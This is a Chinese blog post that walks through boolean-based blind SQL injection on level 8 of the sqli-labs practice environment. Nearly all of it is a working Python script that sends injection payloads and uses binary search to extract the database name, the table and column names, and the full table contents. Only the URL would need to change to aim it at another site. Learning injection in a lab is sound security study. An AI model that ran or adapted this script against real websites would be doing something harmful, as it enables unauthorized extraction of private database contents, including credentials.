Toc
0 results found
Rayi
通过sqli-labs学习sql注入的布尔盲注
2019/04/29 sql注入

sqli-labs之前做了前6关,就没再做,现在发现有好多sql注入的题做不了,还得学学sql注入。。。

其实这个地方不用二分法也行,但是这样的话就没办法做到准确的找出其长度了,而且一个一个爆破效率太低。
这个脚本注入sqli-lab第八关注入了快半个小时。。。

import requests

url = 'http://localhost/Less-8/?id=1'
s = requests.session()
flag = 'You are in'

select_DB = 'select database()'
select_table = "select table_name from information_schema.tables where table_schema='{0}' limit {1},1"
select_column = "select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1"
select_data = 'select {0} from {1} limit {2},1'

select_table_count = "'and (select count(table_name) from information_schema.tables where table_schema='{0}')>={1}--+"
select_table_name_length = "'and (select length(table_name) from information_schema.tables where table_schema='{0}' limit "
select_table_name_length2 = ",1)>={1}--+"

select_column_count_payload = "'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='{0}')>={1} --+"
data_count_payload = "'and (select count(*) from {0})>={1} --+"

guess_length_payload = "' and length(({0}))>={1} --+"
guess_ascii_payload = "' and ascii(substr(({0}),{1},1))>={2} --+"

#根据页面返回的结果猜测长度
#payload:猜测使用的payload;target:猜测的对象;length:猜测的长度
def guess_length(payload, target, length):
	furl = url + payload.format(target,length)
	res = s.get(furl)
	if flag in res.text:
		return True
	else:
		return False

#利用二分法查找长度
def get_length(payload,target):
	left = 0
	right = 0
	guess = 10
	#确定长度上限
	while 1:
		if guess_length(payload, target, guess) == True:
			guess = guess + 5
		else:
			right = guess
			break
	#二分法确定长度
	mid = (left + right)/2
	while left < right - 1:
		# 如果长度大于等于mid 
		if guess_length(payload, target, mid) == True:
			# 更新长度的左边界为mid
			left = mid
		else: 
		# 否则就是长度小于mid
			# 更新长度的右边界为mid
			right = mid
		# 更新中值
		mid = round((left + right) / 2)	
		# print(left, right)
	# 因为Left当长度大于等于mid时更新为mid,而right是当长度小于mid时更新为mid
	# 所以长度区间:大于等于 left,小于right
	# 而循环条件是 left < right - 1,退出循环,left就是所求长度
	# 如循环到最后一步 left = 8, right = 9时,循环退出,区间为8<=length<9,length就肯定等于8
	return left

#猜测名称
#万恶的Python3,还得注意四舍五入(因为我们比较ascii的时候是大于等于,所以四舍五入是合理的),Python2就不需要(似乎精度变高了应该是个好事?)
def guess_name(payload, target, position, ascii):
	furl = url + payload.format(target,position,ascii)
	res = s.get(furl)
	if flag in res.text:
		return True
	else:
		return False
def get_name(payload, target, length):
	tmp = ''
	for i in range(1,length+1):
		left = 32
		right = 127
		mid = (left + right) / 2
		while left < right -1:
			if guess_name(payload, target, i, mid) ==True:
				left = mid
				mid = round((left + right) / 2)
			else:
				right = mid
				mid = round((left + right) / 2)
		tmp += chr(round(left))
	return tmp





def main():

	#查询数据库的名称长度和名称
	DB_length = get_length(guess_length_payload, select_DB)
	print('数据库的长度为:',str(DB_length))
	print('------正在获取数据库的名称------')
	DB_name = get_name(guess_ascii_payload, select_DB, DB_length)
	print('数据库的名称为:',str(DB_name))

	#获取数据库中表的个数
	print('------正在获取数据库中表的个数------')
	table_count = get_length(select_table_count, DB_name)
	print('表的个数为:',table_count)

	#获取数据库的表的详细信息
	for i in range(0,table_count):
		print(f'正在获取第{i}个表')
		num = str(i)
		#获取该表名长度
		table_name_length_payload = select_table_name_length + num + select_table_name_length2
		table_name_length = get_length(table_name_length_payload, DB_name)
		print(f'第{i}个表的长度为:',str(table_name_length))
		#获取该表名
		select_table_name_payload = select_table.format(DB_name,i)
		table_name = []
		table_name.append(get_name(guess_ascii_payload, select_table_name_payload, round(table_name_length)))
		print(f'第{i}个表的名字为:',table_name)

		#若不需要查询全部的表的数据,可以从这里断开,令table_name里只有想要查询的表

	for j in table_name:
		#获取某个表的列的数量
		column_count = get_length(select_column_count_payload, j)
		print(f'表{j}{column_count}个列')
		#获取某个表有多少行数据
		data_count = get_length(data_count_payload, j)
		print(f'表{j}{data_count}行数据')
		#获取表中某列

		for k in range(0,column_count):
			#获取某列名长度
			select_column_name_length_payload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DB_name +"' and table_name='{0}' limit "+ str(k) +",1)>={1} --+"
			column_name_length = get_length(select_column_name_length_payload, j)
			print(f'列名长度为{column_name_length}')
			#获取某列名
			select_column_name_payload = select_column.format(DB_name,j,k)
			column_name = get_name(guess_ascii_payload, select_column_name_payload, column_name_length)
			print('列名为:',column_name)
			data = []
			tmp_data = []
			tmp_data.append(column_name)
			#获取详细数据
			for l in range(0,data_count):
				column_data_length_payload = "'and (select length("+ column_name +") from {0} limit " + str(l) + ",1)>={1} --+"
				column_data_length = get_length(column_data_length_payload, j)
				select_data_payload = select_data.format(column_name,j,l)
				column_data = get_name(guess_ascii_payload, select_data_payload, round(column_data_length))
				tmp_data.append(column_data)
			data.append(tmp_data)
		tmp = ''
		for i in range(0,len(data)):
			tmp += data[i][0] + '   '
		print('列名为:',tmp)
		for j in range(1,data_count+1):
			tmp = ''
			for i in range(0,len(data)):
				tmp += data[i][j] + '   '
			print(tmp)




main()

本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!